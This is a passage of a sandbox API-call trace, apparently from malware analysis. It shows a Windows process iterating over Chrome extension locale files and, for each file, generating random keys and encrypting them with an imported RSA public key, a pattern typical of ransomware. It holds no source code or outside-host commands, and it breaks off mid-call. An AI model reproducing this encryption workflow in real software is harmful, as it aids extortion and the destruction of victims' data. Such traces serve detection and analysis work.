dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.906] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e038) returned 1 [0236.906] CryptGetKeyParam (in: hKey=0x659e038, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.906] CryptEncrypt (in: hKey=0x659e038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9210000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9210000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.906] GetLastError () returned 0x0 [0236.907] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.907] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.907] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.910] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.912] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.912] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.912] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.912] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.914] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.916] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.916] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.916] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.916] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.918] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659daf8) returned 1 [0236.918] CryptGetKeyParam (in: hKey=0x659daf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.918] CryptEncrypt (in: hKey=0x659daf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9220000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9220000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.918] GetLastError () returned 0x0 [0236.918] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.918] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.920] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d978) returned 1 [0236.920] CryptGetKeyParam (in: hKey=0x659d978, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.920] CryptEncrypt (in: hKey=0x659d978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9230000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9230000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.920] GetLastError () returned 0x0 [0236.920] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.921] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.922] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.924] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.926] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.926] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.926] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.926] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.928] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.944] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.944] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.944] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.944] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.946] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659db38) returned 1 [0236.946] CryptGetKeyParam (in: hKey=0x659db38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.946] CryptEncrypt (in: hKey=0x659db38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9240000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9240000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.947] GetLastError () returned 0x0 [0236.947] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.947] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.948] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659dc78) returned 1 [0236.949] CryptGetKeyParam (in: hKey=0x659dc78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.949] CryptEncrypt (in: hKey=0x659dc78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9250000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9250000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.949] GetLastError () returned 0x0 [0236.949] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.949] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.950] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0236.952] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.954] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.954] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.954] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.954] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.956] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.957] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.957] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.957] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.958] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.961] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d878) returned 1 [0236.961] CryptGetKeyParam (in: hKey=0x659d878, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.961] CryptEncrypt (in: hKey=0x659d878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9260000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9260000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.961] GetLastError () returned 0x0 [0236.961] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.961] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.964] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d938) returned 1 [0236.964] CryptGetKeyParam (in: hKey=0x659d938, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.964] CryptEncrypt (in: hKey=0x659d938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9270000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9270000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.964] GetLastError () returned 0x0 [0236.964] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.964] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.965] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0236.968] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.970] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.970] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.970] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.970] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.972] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.974] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.974] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.974] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.974] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.977] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659deb8) returned 1 [0236.977] CryptGetKeyParam (in: hKey=0x659deb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.977] CryptEncrypt (in: hKey=0x659deb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9280000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9280000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.977] GetLastError () returned 0x0 [0236.977] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.977] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.979] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659dc38) returned 1 [0236.979] CryptGetKeyParam (in: hKey=0x659dc38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.979] CryptEncrypt (in: hKey=0x659dc38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9290000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9290000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.979] GetLastError () returned 0x0 [0236.979] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.979] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.980] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.983] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.984] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.984] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.984] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.984] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.986] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.988] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.988] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.988] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.988] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.990] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659df78) returned 1 [0236.990] CryptGetKeyParam (in: hKey=0x659df78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.990] CryptEncrypt (in: hKey=0x659df78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x92a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x92a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.991] GetLastError () returned 0x0 [0236.991] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.991] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.992] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659dcf8) returned 1 [0236.993] CryptGetKeyParam (in: hKey=0x659dcf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.993] CryptEncrypt (in: hKey=0x659dcf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x92b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x92b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.993] GetLastError () returned 0x0 [0236.993] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.993] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.994] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.996] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.998] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.998] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.998] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.998] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.000] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.002] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.002] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.002] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.002] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.004] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d9f8) returned 1 [0237.004] CryptGetKeyParam (in: hKey=0x659d9f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.004] CryptEncrypt (in: hKey=0x659d9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x92c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x92c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.005] GetLastError () returned 0x0 [0237.005] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.005] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.007] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659da38) returned 1 [0237.007] CryptGetKeyParam (in: hKey=0x659da38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.007] CryptEncrypt (in: hKey=0x659da38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x92d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x92d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.007] GetLastError () returned 0x0 [0237.007] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.007] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.008] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0237.010] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.012] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.012] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0237.012] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.012] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0237.014] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.016] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.016] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0237.016] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.016] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0237.018] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x659ce38) returned 1 [0237.018] CryptGetKeyParam (in: hKey=0x659ce38, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0237.018] CryptEncrypt (in: hKey=0x659ce38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x92e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x92e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0237.019] GetLastError () returned 0x0 [0237.019] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.019] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0237.021] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x659dd38) returned 1 [0237.021] CryptGetKeyParam (in: hKey=0x659dd38, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0237.021] CryptEncrypt (in: hKey=0x659dd38, hHash=0x0, Final=1, dwFlags=0x0, 